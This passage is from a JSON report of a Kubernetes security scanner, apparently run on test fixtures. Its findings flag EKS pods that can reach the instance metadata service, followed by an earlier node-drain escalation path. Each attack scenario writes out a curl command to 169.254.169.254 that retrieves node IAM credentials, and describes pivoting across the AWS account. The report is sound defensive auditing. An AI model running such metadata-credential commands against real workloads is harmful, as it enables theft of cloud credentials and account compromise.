        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.1",
        "title": "Minimize the admission of privileged containers",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_escape"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:DaemonSet:rbac-fixtures:daemon-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "rbac-fixtures/daemon-app",
      "reason": "no-egress-policy",
      "sa": "rbac-fixtures/sa-pod-create",
      "workload": "DaemonSet/rbac-fixtures/daemon-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:foothold-fixtures:foothold-priv-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-priv",
      "namespace": "foothold-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "foothold-priv-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "foothold-fixtures/foothold-priv-app",
      "reason": "no-egress-policy",
      "sa": "foothold-fixtures/foothold-priv",
      "workload": "Deployment/foothold-fixtures/foothold-priv-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:local-path-storage:local-path-provisioner",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "resource": {
      "kind": "Deployment",
      "name": "local-path-provisioner",
      "namespace": "local-path-storage",
      "api_group": "apps"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "local-path-storage/local-path-provisioner",
      "reason": "no-egress-policy",
      "sa": "local-path-storage/local-path-provisioner-service-account",
      "workload": "Deployment/local-path-storage/local-path-provisioner"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:psa-suppressed:psa-priv-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "psa-suppressed"
    },
    "resource": {
      "kind": "Deployment",
      "name": "psa-priv-app",
      "namespace": "psa-suppressed",
      "api_group": "apps"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "psa-suppressed/psa-priv-app",
      "reason": "no-egress-policy",
      "sa": "psa-suppressed/default",
      "workload": "Deployment/psa-suppressed/psa-priv-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-psa-unlabeled",
      "namespace": "psa-unlabeled-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "psa-unlabeled-fixtures/psa-unlabeled-app",
      "reason": "host-network",
      "sa": "psa-unlabeled-fixtures/sa-psa-unlabeled",
      "workload": "Deployment/psa-unlabeled-fixtures/psa-unlabeled-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:rbac-fixtures:wildcard-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "rbac-fixtures/wildcard-app",
      "reason": "no-egress-policy",
      "sa": "rbac-fixtures/sa-wildcard",
      "workload": "Deployment/rbac-fixtures/wildcard-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:vulnerable:generic-hostpath-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "vulnerable/generic-hostpath-app",
      "reason": "no-egress-policy",
      "sa": "vulnerable/default",
      "workload": "Deployment/vulnerable/generic-hostpath-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
